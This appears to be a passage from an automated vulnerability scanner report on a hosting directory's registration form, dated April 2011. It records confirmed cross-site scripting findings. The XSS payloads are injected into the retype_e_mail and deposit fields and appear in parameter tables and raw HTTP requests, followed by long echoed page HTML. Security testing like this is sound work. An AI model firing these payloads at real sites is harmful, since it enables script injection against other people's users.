bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 511
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F68)%3c%2fscript%3e&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:22:55 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='D77F49075529D350CFEF7C169A4757E5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='D77F49075529D3504C29D16F09E98E3F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='D77F49075529D350E4B641F828B9D431C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D77F49075529D3509642CD827BAEA5C4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='D77F49075529D350A8F28122F14BE9286F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='D77F49075529D350FA0DB2A5C859ABBBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='D77F49075529D350AA068A189FE0B389C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='D77F49075529D35094FB3D27376AADFD6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='D77F49075529D350658EFC0BAA2242AEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='D77F49075529D350752D05BD01150A556F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='D77F49075529D35088584DA9A9F2AA04C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='D77F49075529D3503C4AA7348E5DBBADC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='D77F49075529D35083EF0365A86E34D6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D77F49075529D35090AC627E0D160841C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='D77F49075529D3505396F7C058BBF4C6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='D77F49075529D350BF717E45B86ADF1FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='D77F49075529D350F1524C6DF3E598C86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='D77F49075529D35065C502194EFB36F36F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='D77F49075529D3507CE2B520AB1897E46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST '"--></style></script><script>alert(0x001F87)</script>
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 534
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F87)%3c%2fscript%3e&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:23:20 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='7C9931B12F31C0B5F984200D1C09D845C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='7C9931B12F31C0B53374673B235A3CA46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='7C9931B12F31C0B51C409480C32F32CAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B5DF0C44F086315A8BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='7C9931B12F31C0B55EC2647ABB6B0ABC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='7C9931B12F31C0B579AF67C96ED39444C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='7C9931B12F31C0B5B8D74AD2314341A5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='7C9931B12F31C0B51752C08B72D68AAF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='7C9931B12F31C0B532B348309DDC98B7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='7C9931B12F31C0B511B0A97BC734ABC36F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='7C9931B12F31C0B58D6016FA473BF512C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='7C9931B12F31C0B5124BC6F91C449485C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='7C9931B12F31C0B5FF7F8B4DE30B17D3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B5DAF7910196090F8EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='7C9931B12F31C0B59047FF76D01E1247C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='7C9931B12F31C0B56B3BA4F69FD180A6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='7C9931B12F31C0B51C1A0ACF65522E946F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='7C9931B12F31C0B5C1A918D70489EB986F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='7C9931B12F31C0B5CF5880DFD522756C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
